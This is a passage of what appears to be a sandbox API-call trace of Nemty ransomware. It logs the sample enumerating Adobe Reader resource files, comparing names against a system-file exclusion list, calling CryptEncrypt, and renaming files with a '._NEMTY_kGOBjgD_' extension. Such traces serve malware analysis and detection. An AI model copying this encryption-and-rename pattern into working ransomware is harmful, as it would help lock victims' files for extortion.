lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.893] CloseHandle (hObject=0xffffffff) returned 0 [0207.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.893] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v._nemty_kgobjgd_")) returned 0 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.894] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="HKM314~1")) returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2=".") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="..") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="...") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="windows") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="rsa") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="NTDETECT.COM") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="ntldr") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="MSDOS.SYS") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="IO.SYS") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="boot.ini") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="boot.ini") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="ntuser.dat") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="desktop.ini") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="CONFIG.SYS") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="RECYCLER") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="bootmgr") returned 1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="programdata") returned -1 [0207.894] lstrcmpiW (lpString1="HKm314-B5-H", lpString2="appdata") returned 1 [0207.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.895] Sleep (dwMilliseconds=0x5) [0207.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f8e17f0, dwHighDateTime=0x1d561e8)) [0207.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f8e17f0, dwHighDateTime=0x1d561e8)) [0207.899] GetLastError () returned 0x5 [0207.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.899] GetLastError () returned 0x5 [0207.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0207.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="LqFjez5HXHbppo4Z6MAvsxzstmpehGkz5oCxWIPM7Gh2QO13r05QsgJfLHyMPf/R\r\nPmt0a/PdeliMPyYvAbnjw3YBHbX12h610fT1jJwFplBYKOx/UpotVwPvkjHBQPZ7\r\nh+OGbSzoLPrDXrPEeBTxOm0ha4ZUXYmguINlc5aI1RD1I+yaMn2KTUioVzkn5B/j\r\nSq93BhxEcxpcITx49/zhTdukHW6c3YwYZpdXHKfyeYkRnViDUYRcLiXxiT1uTOvw\r\n8oC6MpkY2nZoR76p+TxHO/+Osq0ThbSLk0HtGtaK2rHNw9H13R2tfoL2LdOfVEt3\r\neM6k8dT/M9lcZeXGCZ35Tw==\r\n", pcchString=0x653e91c) returned 1 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0207.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.900] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.006] CloseHandle (hObject=0xffffffff) returned 0 [0208.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.007] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h._nemty_kgobjgd_")) returned 0 [0208.007] HeapFree (in: hHeap=0x4f90000, 